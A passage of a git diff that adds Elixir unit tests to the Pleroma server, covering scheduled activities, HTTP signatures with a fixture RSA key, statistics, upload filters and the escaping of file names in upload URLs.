safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);", + [] + ) + end +end diff --git a/test/pleroma/scheduled_activity_test.exs b/test/pleroma/scheduled_activity_test.exs new file mode 100644 index 000000000..7faa5660d --- /dev/null +++ b/test/pleroma/scheduled_activity_test.exs @@ -0,0 +1,105 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ScheduledActivityTest do + use Pleroma.DataCase + alias Pleroma.DataCase + alias Pleroma.ScheduledActivity + import Pleroma.Factory + + setup do: clear_config([ScheduledActivity, :enabled]) + + setup context do + DataCase.ensure_local_uploader(context) + end + + describe "creation" do + test "scheduled activities with jobs when ScheduledActivity enabled" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, sa1} = ScheduledActivity.create(user, attrs) + {:ok, sa2} = ScheduledActivity.create(user, attrs) + + jobs = + Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) + + assert jobs == [%{"activity_id" => sa1.id}, %{"activity_id" => sa2.id}] + end + + test "scheduled activities without jobs when ScheduledActivity disabled" do + Pleroma.Config.put([ScheduledActivity, :enabled], false) + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _sa1} = ScheduledActivity.create(user, attrs) + {:ok, _sa2} = ScheduledActivity.create(user, attrs) + + jobs = + Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) + + assert jobs == [] + end + + test "when daily user limit is exceeded" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: today} + {:ok, _} = ScheduledActivity.create(user, attrs) + {:ok, _} = ScheduledActivity.create(user, attrs) + + {:error, changeset} = ScheduledActivity.create(user, attrs) + assert changeset.errors == [scheduled_at: {"daily limit exceeded", []}] + end + + test "when total user limit is exceeded" do + user = insert(:user) + + today = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(6), :millisecond) + |> NaiveDateTime.to_iso8601() + + tomorrow = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.hours(36), :millisecond) + |> NaiveDateTime.to_iso8601() + + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: today}) + {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + {:error, changeset} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow}) + assert changeset.errors == [scheduled_at: {"total limit exceeded", []}] + end + + test "when scheduled_at is earlier than 5 minute from now" do + user = insert(:user) + + scheduled_at = + NaiveDateTime.utc_now() + |> NaiveDateTime.add(:timer.minutes(4), :millisecond) + |> NaiveDateTime.to_iso8601() + + attrs = %{params: %{}, scheduled_at: scheduled_at} + {:error, changeset} = ScheduledActivity.create(user, attrs) + assert changeset.errors == [scheduled_at: {"must be at least 5 minutes from now", []}] + end + end +end diff --git a/test/pleroma/signature_test.exs b/test/pleroma/signature_test.exs new file mode 100644 index 000000000..a7a75aa4d --- /dev/null +++ b/test/pleroma/signature_test.exs @@ -0,0 +1,134 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.SignatureTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + import Mock + + alias Pleroma.Signature + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + @private_key "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA48qb4v6kqigZutO9Ot0wkp27GIF2LiVaADgxQORZozZR63jH\nTaoOrS3Xhngbgc8SSOhfXET3omzeCLqaLNfXnZ8OXmuhJfJSU6mPUvmZ9QdT332j\nfN/g3iWGhYMf/M9ftCKh96nvFVO/tMruzS9xx7tkrfJjehdxh/3LlJMMImPtwcD7\nkFXwyt1qZTAU6Si4oQAJxRDQXHp1ttLl3Ob829VM7IKkrVmY8TD+JSlV0jtVJPj6\n1J19ytKTx/7UaucYvb9HIiBpkuiy5n/irDqKLVf5QEdZoNCdojOZlKJmTLqHhzKP\n3E9TxsUjhrf4/EqegNc/j982RvOxeu4i40zMQwIDAQABAoIBAQDH5DXjfh21i7b4\ncXJuw0cqget617CDUhemdakTDs9yH+rHPZd3mbGDWuT0hVVuFe4vuGpmJ8c+61X0\nRvugOlBlavxK8xvYlsqTzAmPgKUPljyNtEzQ+gz0I+3mH2jkin2rL3D+SksZZgKm\nfiYMPIQWB2WUF04gB46DDb2mRVuymGHyBOQjIx3WC0KW2mzfoFUFRlZEF+Nt8Ilw\nT+g/u0aZ1IWoszbsVFOEdghgZET0HEarum0B2Je/ozcPYtwmU10iBANGMKdLqaP/\nj954BPunrUf6gmlnLZKIKklJj0advx0NA+cL79+zeVB3zexRYSA5o9q0WPhiuTwR\n/aedWHnBAoGBAP0sDWBAM1Y4TRAf8ZI9PcztwLyHPzfEIqzbObJJnx1icUMt7BWi\n+/RMOnhrlPGE1kMhOqSxvXYN3u+eSmWTqai2sSH5Hdw2EqnrISSTnwNUPINX7fHH\njEkgmXQ6ixE48SuBZnb4w1EjdB/BA6/sjL+FNhggOc87tizLTkMXmMtTAoGBAOZV\n+wPuAMBDBXmbmxCuDIjoVmgSlgeRunB1SA8RCPAFAiUo3+/zEgzW2Oz8kgI+xVwM\n33XkLKrWG1Orhpp6Hm57MjIc5MG+zF4/YRDpE/KNG9qU1tiz0UD5hOpIU9pP4bR/\ngxgPxZzvbk4h5BfHWLpjlk8UUpgk6uxqfti48c1RAoGBALBOKDZ6HwYRCSGMjUcg\n3NPEUi84JD8qmFc2B7Tv7h2he2ykIz9iFAGpwCIyETQsJKX1Ewi0OlNnD3RhEEAy\nl7jFGQ+mkzPSeCbadmcpYlgIJmf1KN/x7fDTAepeBpCEzfZVE80QKbxsaybd3Dp8\nCfwpwWUFtBxr4c7J+gNhAGe/AoGAPn8ZyqkrPv9wXtyfqFjxQbx4pWhVmNwrkBPi\nZ2Qh3q4dNOPwTvTO8vjghvzIyR8rAZzkjOJKVFgftgYWUZfM5gE7T2mTkBYq8W+U\n8LetF+S9qAM2gDnaDx0kuUTCq7t87DKk6URuQ/SbI0wCzYjjRD99KxvChVGPBHKo\n1DjqMuECgYEAgJGNm7/lJCS2wk81whfy/ttKGsEIkyhPFYQmdGzSYC5aDc2gp1R3\nxtOkYEvdjfaLfDGEa4UX8CHHF+w3t9u8hBtcdhMH6GYb9iv6z0VBTt4A/11HUR49\n3Z7TQ18Iyh3jAUCzFV9IJlLIExq5Y7P4B3ojWFBN607sDCt8BMPbDYs=\n-----END RSA PRIVATE KEY-----" + + @public_key "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0P/Tq4gb4G/QVuMGbJo\nC/AfMNcv+m7NfrlOwkVzcU47jgESuYI4UtJayissCdBycHUnfVUd9qol+eznSODz\nCJhfJloqEIC+aSnuEPGA0POtWad6DU0E6/Ho5zQn5WAWUwbRQqowbrsm/GHo2+3v\neR5jGenwA6sYhINg/c3QQbksyV0uJ20Umyx88w8+TJuv53twOfmyDWuYNoQ3y5cc\nHKOZcLHxYOhvwg3PFaGfFHMFiNmF40dTXt9K96r7sbzc44iLD+VphbMPJEjkMuf8\nPGEFOBzy8pm3wJZw2v32RNW2VESwMYyqDzwHXGSq1a73cS7hEnc79gXlELsK04L9\nQQIDAQAB\n-----END PUBLIC KEY-----\n" + + @rsa_public_key { + :RSAPublicKey, + 24_650_000_183_914_698_290_885_268_529_673_621_967_457_234_469_123_179_408_466_269_598_577_505_928_170_923_974_132_111_403_341_217_239_999_189_084_572_368_839_502_170_501_850_920_051_662_384_964_248_315_257_926_552_945_648_828_895_432_624_227_029_881_278_113_244_073_644_360_744_504_606_177_648_469_825_063_267_913_017_309_199_785_535_546_734_904_379_798_564_556_494_962_268_682_532_371_146_333_972_821_570_577_277_375_020_977_087_539_994_500_097_107_935_618_711_808_260_846_821_077_839_605_098_669_707_417_692_791_905_543_116_911_754_774_323_678_879_466_618_738_207_538_013_885_607_095_203_516_030_057_611_111_308_904_599_045_146_148_350_745_339_208_006_497_478_057_622_336_882_506_112_530_056_970_653_403_292_123_624_453_213_574_011_183_684_739_084_105_206_483_178_943_532_208_537_215_396_831_110_268_758_639_826_369_857, + # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength + 65_537 + } + + defp make_fake_signature(key_id), do: "keyId=\"#{key_id}\"" + + defp make_fake_conn(key_id), + do: %Plug.Conn{req_headers: %{"signature" => make_fake_signature(key_id <> "#main-key")}} + + describe "fetch_public_key/1" do + test "it returns key" do + expected_result = {:ok, @rsa_public_key} + + user = insert(:user, public_key: @public_key) + + assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == expected_result + end + + test "it returns error when not found user" do + assert capture_log(fn -> + assert Signature.fetch_public_key(make_fake_conn("https://test-ap-id")) == + {:error, :error} + end) =~ "[error] Could not decode user" + end + + test "it returns error if public key is nil" do + user = insert(:user, public_key: nil) + + assert Signature.fetch_public_key(make_fake_conn(user.ap_id)) == {:error, :error} + end + end + + describe "refetch_public_key/1" do + test "it returns key" do + ap_id = "https://mastodon.social/users/lambadalambda" + + assert Signature.refetch_public_key(make_fake_conn(ap_id)) == {:ok, @rsa_public_key} + end + + test "it returns error when not found user" do + assert capture_log(fn -> + {:error, _} = Signature.refetch_public_key(make_fake_conn("https://test-ap_id")) + end) =~ "[error] Could not decode user" + end + end + + describe "sign/2" do + test "it returns signature headers" do + user = + insert(:user, %{ + ap_id: "https://mastodon.social/users/lambadalambda", + keys: @private_key + }) + + assert Signature.sign( + user, + %{ + host: "test.test", + "content-length": 100 + } + ) == + "keyId=\"https://mastodon.social/users/lambadalambda#main-key\",algorithm=\"rsa-sha256\",headers=\"content-length host\",signature=\"sibUOoqsFfTDerquAkyprxzDjmJm6erYc42W5w1IyyxusWngSinq5ILTjaBxFvfarvc7ci1xAi+5gkBwtshRMWm7S+Uqix24Yg5EYafXRun9P25XVnYBEIH4XQ+wlnnzNIXQkU3PU9e6D8aajDZVp3hPJNeYt1gIPOA81bROI8/glzb1SAwQVGRbqUHHHKcwR8keiR/W2h7BwG3pVRy4JgnIZRSW7fQogKedDg02gzRXwUDFDk0pr2p3q6bUWHUXNV8cZIzlMK+v9NlyFbVYBTHctAR26GIAN6Hz0eV0mAQAePHDY1mXppbA8Gpp6hqaMuYfwifcXmcc+QFm4e+n3A==\"" + end + + test "it returns error" do + user = insert(:user, %{ap_id: "https://mastodon.social/users/lambadalambda", keys: ""}) + + assert Signature.sign( + user, + %{host: "test.test", "content-length": 100} + ) == {:error, []} + end + end + + describe "key_id_to_actor_id/1" do + test "it properly deduces the actor id for misskey" do + assert Signature.key_id_to_actor_id("https://example.com/users/1234/publickey") == + {:ok, "https://example.com/users/1234"} + end + + test "it properly deduces the actor id for mastodon and pleroma" do + assert Signature.key_id_to_actor_id("https://example.com/users/1234#main-key") == + {:ok, "https://example.com/users/1234"} + end + + test "it calls webfinger for 'acct:' accounts" do + with_mock(Pleroma.Web.WebFinger, + finger: fn _ -> %{"ap_id" => "https://gensokyo.2hu/users/raymoo"} end + ) do + assert Signature.key_id_to_actor_id("acct:raymoo@gensokyo.2hu") == + {:ok, "https://gensokyo.2hu/users/raymoo"} + end + end + end + + describe "signed_date" do + test "it returns formatted current date" do + with_mock(NaiveDateTime, utc_now: fn -> ~N[2019-08-23 18:11:24.822233] end) do + assert Signature.signed_date() == "Fri, 23 Aug 2019 18:11:24 GMT" + end + end + + test "it returns formatted date" do + assert Signature.signed_date(~N[2019-08-23 08:11:24.822233]) == + "Fri, 23 Aug 2019 08:11:24 GMT" + end + end +end diff --git a/test/pleroma/stats_test.exs b/test/pleroma/stats_test.exs new file mode 100644 index 000000000..74bf785b0 --- /dev/null +++ b/test/pleroma/stats_test.exs @@ -0,0 +1,122 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.StatsTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Stats + alias Pleroma.Web.CommonAPI + + describe "user count" do + test "it ignores internal users" do + _user = insert(:user, local: true) + _internal = insert(:user, local: true, nickname: nil) + _internal = Pleroma.Web.ActivityPub.Relay.get_actor() + + assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) + end + end + + describe "status visibility sum count" do + test "on new status" do + instance2 = "instance2.tld" + user = insert(:user) + other_user = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user, %{visibility: "public", status: "hey"}) + + Enum.each(0..1, fn _ -> + CommonAPI.post(user, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(0..2, fn _ -> + CommonAPI.post(user, %{ + visibility: "direct", + status: "hey @#{other_user.nickname}" + }) + end) + + Enum.each(0..3, fn _ -> + CommonAPI.post(user, %{ + visibility: "private", + status: "hey" + }) + end) + + assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = + Stats.get_status_visibility_count() + end + + test "on status delete" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + assert %{"public" => 1} = Stats.get_status_visibility_count() + CommonAPI.delete(activity.id, user) + assert %{"public" => 0} = Stats.get_status_visibility_count() + end + + test "on status visibility update" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() + {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) + assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() + end + + test "doesn't count unrelated activities" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) + _ = CommonAPI.follow(user, other_user) + CommonAPI.favorite(other_user, activity.id) + CommonAPI.repeat(activity.id, other_user) + + assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = + Stats.get_status_visibility_count() + end + end + + describe "status visibility by instance count" do + test "single instance" do + local_instance = Pleroma.Web.Endpoint.url() |> String.split("//") |> Enum.at(1) + instance2 = "instance2.tld" + user1 = insert(:user) + user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"}) + + CommonAPI.post(user1, %{visibility: "public", status: "hey"}) + + Enum.each(1..5, fn _ -> + CommonAPI.post(user1, %{ + visibility: "unlisted", + status: "hey" + }) + end) + + Enum.each(1..10, fn _ -> + CommonAPI.post(user1, %{ + visibility: "direct", + status: "hey @#{user2.nickname}" + }) + end) + + Enum.each(1..20, fn _ -> + CommonAPI.post(user2, %{ + visibility: "private", + status: "hey" + }) + end) + + assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} = + Stats.get_status_visibility_count(local_instance) + + assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = + Stats.get_status_visibility_count(instance2) + end + end +end diff --git a/test/pleroma/upload/filter/anonymize_filename_test.exs b/test/pleroma/upload/filter/anonymize_filename_test.exs new file mode 100644 index 000000000..19b915cc8 --- /dev/null +++ b/test/pleroma/upload/filter/anonymize_filename_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Upload + + setup do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + upload_file = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg") + } + + %{upload_file: upload_file} + end + + setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) + + test "it replaces filename on pre-defined text", %{upload_file: upload_file} do + Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert name == "custom-file.png" + end + + test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do + Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert name == "custom-file.jpg" + end + + test "it replaces filename on random text", %{upload_file: upload_file} do + {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) + assert <<_::bytes-size(14)>> <> ".jpg" = name + refute name == "an… image.jpg" + end +end diff --git a/test/pleroma/upload/filter/dedupe_test.exs b/test/pleroma/upload/filter/dedupe_test.exs new file mode 100644 index 000000000..75c7198e1 --- /dev/null +++ b/test/pleroma/upload/filter/dedupe_test.exs @@ -0,0 +1,32 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.DedupeTest do + use Pleroma.DataCase + + alias Pleroma.Upload + alias Pleroma.Upload.Filter.Dedupe + + @shasum "e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781" + + test "adds shasum" do + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert { + :ok, + :filtered, + %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} + } = Dedupe.filter(upload) + end +end diff --git a/test/pleroma/upload/filter/mogrifun_test.exs b/test/pleroma/upload/filter/mogrifun_test.exs new file mode 100644 index 000000000..dc1e9e78f --- /dev/null +++ b/test/pleroma/upload/filter/mogrifun_test.exs @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.MogrifunTest do + use Pleroma.DataCase + import Mock + + alias Pleroma.Upload + alias Pleroma.Upload.Filter + + test "apply mogrify filter" do + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + task = + Task.async(fn -> + assert_receive {:apply_filter, {}}, 4_000 + end) + + with_mocks([ + {Mogrify, [], + [ + open: fn _f -> %Mogrify.Image{} end, + custom: fn _m, _a -> send(task.pid, {:apply_filter, {}}) end, + custom: fn _m, _a, _o -> send(task.pid, {:apply_filter, {}}) end, + save: fn _f, _o -> :ok end + ]} + ]) do + assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} + end + + Task.await(task) + end +end diff --git a/test/pleroma/upload/filter/mogrify_test.exs b/test/pleroma/upload/filter/mogrify_test.exs new file mode 100644 index 000000000..bf64b96b3 --- /dev/null +++ b/test/pleroma/upload/filter/mogrify_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.Filter.MogrifyTest do + use Pleroma.DataCase + import Mock + + alias Pleroma.Upload.Filter + + test "apply mogrify filter" do + clear_config(Filter.Mogrify, args: [{"tint", "40"}]) + + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + task = + Task.async(fn -> + assert_receive {:apply_filter, {_, "tint", "40"}}, 4_000 + end) + + with_mock Mogrify, + open: fn _f -> %Mogrify.Image{} end, + custom: fn _m, _a -> :ok end, + custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, + save: fn _f, _o -> :ok end do + assert Filter.Mogrify.filter(upload) == {:ok, :filtered} + end + + Task.await(task) + end +end diff --git a/test/pleroma/upload/filter_test.exs b/test/pleroma/upload/filter_test.exs new file mode 100644 index 000000000..352b66402 --- /dev/null +++ b/test/pleroma/upload/filter_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Upload.FilterTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Upload.Filter + + setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) + + test "applies filters" do + Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], "custom-file.png") + + File.cp!( + "test/fixtures/image.jpg", + "test/fixtures/image_tmp.jpg" + ) + + upload = %Pleroma.Upload{ + name: "an… image.jpg", + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + tempfile: Path.absname("test/fixtures/image_tmp.jpg") + } + + assert Filter.filter([], upload) == {:ok, upload} + + assert {:ok, upload} = Filter.filter([Pleroma.Upload.Filter.AnonymizeFilename], upload) + assert upload.name == "custom-file.png" + end +end diff --git a/test/pleroma/upload_test.exs b/test/pleroma/upload_test.exs new file mode 100644 index 000000000..b06b54487 --- /dev/null +++ b/test/pleroma/upload_test.exs @@ -0,0 +1,287 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UploadTest do + use Pleroma.DataCase + + import ExUnit.CaptureLog + + alias Pleroma.Upload + alias Pleroma.Uploaders.Uploader + + @upload_file %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + defmodule TestUploaderBase do + def put_file(%{path: path} = _upload, module_name) do + task_pid = + Task.async(fn -> + :timer.sleep(10) + + {Uploader, path} + |> :global.whereis_name() + |> send({Uploader, self(), {:test}, %{}}) + + assert_receive {Uploader, {:test}}, 4_000 + end) + + Agent.start(fn -> task_pid end, name: module_name) + + :wait_callback + end + end + + describe "Tried storing a file when http callback response success result" do + defmodule TestUploaderSuccess do + def http_callback(conn, _params), + do: {:ok, conn, {:file, "post-process-file.jpg"}} + + def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) + end + + setup do: [uploader: TestUploaderSuccess] + setup [:ensure_local_uploader] + + test "it returns file" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert Upload.store(@upload_file) == + {:ok, + %{ + "name" => "image.jpg", + "type" => "Document", + "mediaType" => "image/jpeg", + "url" => [ + %{ + "href" => "http://localhost:4001/media/post-process-file.jpg", + "mediaType" => "image/jpeg", + "type" => "Link" + } + ] + }} + + Task.await(Agent.get(TestUploaderSuccess, fn task_pid -> task_pid end)) + end + end + + describe "Tried storing a file when http callback response error" do + defmodule TestUploaderError do + def http_callback(conn, _params), do: {:error, conn, "Errors"} + + def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) + end + + setup do: [uploader: TestUploaderError] + setup [:ensure_local_uploader] + + test "it returns error" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert capture_log(fn -> + assert Upload.store(@upload_file) == {:error, "Errors"} + Task.await(Agent.get(TestUploaderError, fn task_pid -> task_pid end)) + end) =~ + "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploaderError) failed: \"Errors\"" + end + end + + describe "Tried storing a file when http callback doesn't response by timeout" do + defmodule(TestUploader, do: def(put_file(_upload), do: :wait_callback)) + setup do: [uploader: TestUploader] + setup [:ensure_local_uploader] + + test "it returns error" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + assert capture_log(fn -> + assert Upload.store(@upload_file) == {:error, "Uploader callback timeout"} + end) =~ + "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploader) failed: \"Uploader callback timeout\"" + end + end + + describe "Storing a file with the Local uploader" do + setup [:ensure_local_uploader] + + test "does not allow descriptions longer than the post limit" do + clear_config([:instance, :description_limit], 2) + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:error, :description_too_long} = Upload.store(file, description: "123") + end + + test "returns a media url" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:ok, data} = Upload.store(file) + + assert %{"url" => [%{"href" => url}]} = data + + assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/") + end + + test "copies the file to the configured folder with deduping" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + + assert List.first(data["url"])["href"] == + Pleroma.Web.base_url() <> + "/media/e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781.jpg" + end + + test "copies the file to the configured folder without deduping" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "fixes incorrect content type" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "application/octet-stream", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + assert hd(data["url"])["mediaType"] == "image/jpeg" + end + + test "adds missing extension" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "fixes incorrect file extension" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.blah" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "an [image.jpg" + end + + test "don't modify filename of an unknown type" do + File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") + + file = %Plug.Upload{ + content_type: "text/plain", + path: Path.absname("test/fixtures/test_tmp.txt"), + filename: "test.txt" + } + + {:ok, data} = Upload.store(file) + assert data["name"] == "test.txt" + end + + test "copies the file to the configured folder with anonymizing filename" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an [image.jpg" + } + + {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.AnonymizeFilename]) + + refute data["name"] == "an [image.jpg" + end + + test "escapes invalid characters in url" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "an… image.jpg" + } + + {:ok, data} = Upload.store(file) + [attachment_url | _] = data["url"] + + assert Path.basename(attachment_url["href"]) == "an%E2%80%A6%20image.jpg" + end + + test "escapes reserved uri characters" do + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: ":?#[]@!$&\\'()*+,;=.jpg" + } + + {:ok, data} = Upload.store(file) + [attachment_url | _] = data["url"] + + assert Path.basename(attachment_url["href"]) == + "%3A%3F%23%5B%5D%40%21%24%26%5C%27%28%29%2A%2B%2C%3B%3D.jpg" + end + end + + describe "Setting a custom base_url for uploaded media" do + setup do: clear_config([Pleroma.Upload, :base_url], "https://cache.pleroma.social") + + test "returns a media url with configured base_url" do + base_url = Pleroma.Config.get([Pleroma.Upload, :base_url]) + + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "image.jpg" + } + + {:ok, data} = Upload.store(file, base_url: base_url) + + assert %{"url" => [%{"href" => url}]} = data + + refute String.starts_with?(url, base_url <> "/media/") + end + end +end diff --git a/test/pleroma/uploaders/local_test.exs b/test/pleroma/uploaders/local_test.exs new file mode 100644 index 000000000..18122ff6c --- /dev/null +++ b/test/pleroma/uploaders/local_test.exs @@ -0,0 +1,55 @@ +# 